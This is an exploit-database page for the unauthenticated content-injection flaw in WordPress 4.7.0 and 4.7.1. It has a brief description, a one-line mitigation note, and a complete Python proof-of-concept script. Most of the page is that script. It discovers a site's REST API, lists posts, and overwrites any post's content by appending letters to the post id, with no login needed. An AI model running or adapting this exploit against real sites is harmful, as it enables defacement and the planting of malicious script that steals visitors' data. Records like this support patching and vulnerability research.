header-logo
Suggest Exploit
vendor:
Wordpress
by:
leonjza
6,1
CVSS
MEDIUM
Content Injection
94
CWE
Product Name: Wordpress
Affected Version From: 4.7.0
Affected Version To: 4.7.1
Patch Exists: YES
Related CWE: CVE-2017-5490
CPE: a:wordpress:wordpress
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2017

WordPress 4.7.0/4.7.1 Unauthenticated Content Injection PoC

This exploit allows an unauthenticated user to inject malicious content into a Wordpress website. The vulnerability is present in Wordpress versions 4.7.0 and 4.7.1, and can be exploited by sending a specially crafted request to the Wordpress REST API. This can be used to inject malicious content into the website, such as JavaScript code, which can be used to steal user data or perform other malicious activities.

Mitigation:

Wordpress users should update to the latest version of Wordpress to patch this vulnerability.
Source

Exploit-DB raw data:

# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Getting available posts
#  - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
#
# Update post with content from a file:
#
# $ cat content
# foo
#
# $ python inject.py http://localhost:8070/ 1 content
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Updating post 1
# * Post updated. Check it out at http://localhost:8070/archives/1
# * Update complete!

import json
import sys
import urllib2

from lxml import etree


def get_api_url(wordpress_url):
    response = urllib2.urlopen(wordpress_url)

    data = etree.HTML(response.read())
    u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]

    # check if we have permalinks
    if 'rest_route' in u:
        print(' ! Warning, looks like permalinks are not enabled. This might not work!')

    return u


def get_posts(api_base):
    respone = urllib2.urlopen(api_base + 'wp/v2/posts')
    posts = json.loads(respone.read())

    for post in posts:
        print(' - Post ID: {0}, Title: {1}, Url: {2}'
              .format(post['id'], post['title']['rendered'], post['link']))


def update_post(api_base, post_id, post_content):
    # more than just the content field can be updated. see the api docs here:
    # https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
    data = json.dumps({
        'content': post_content
    })

    url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
    req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
    response = urllib2.urlopen(req).read()

    print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))


def print_usage():
    print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))


if __name__ == '__main__':

    # ensure we have at least a url
    if len(sys.argv) < 2:
        print_usage()
        sys.exit(1)

    # if we have a post id, we need content too
    if 2 < len(sys.argv) < 4:
        print('Please provide a file with post content with a post id')
        print_usage()
        sys.exit(1)

    print('* Discovering API Endpoint')
    api_url = get_api_url(sys.argv[1])
    print('* API lives at: {0}'.format(api_url))

    # if we only have a url, show the posts we have have
    if len(sys.argv) < 3:
        print('* Getting available posts')
        get_posts(api_url)

        sys.exit(0)

    # if we get here, we have what we need to update a post!
    print('* Updating post {0}'.format(sys.argv[2]))
    with open(sys.argv[3], 'r') as content:
        new_content = content.readlines()

    update_post(api_url, sys.argv[2], ''.join(new_content))

    print('* Update complete!')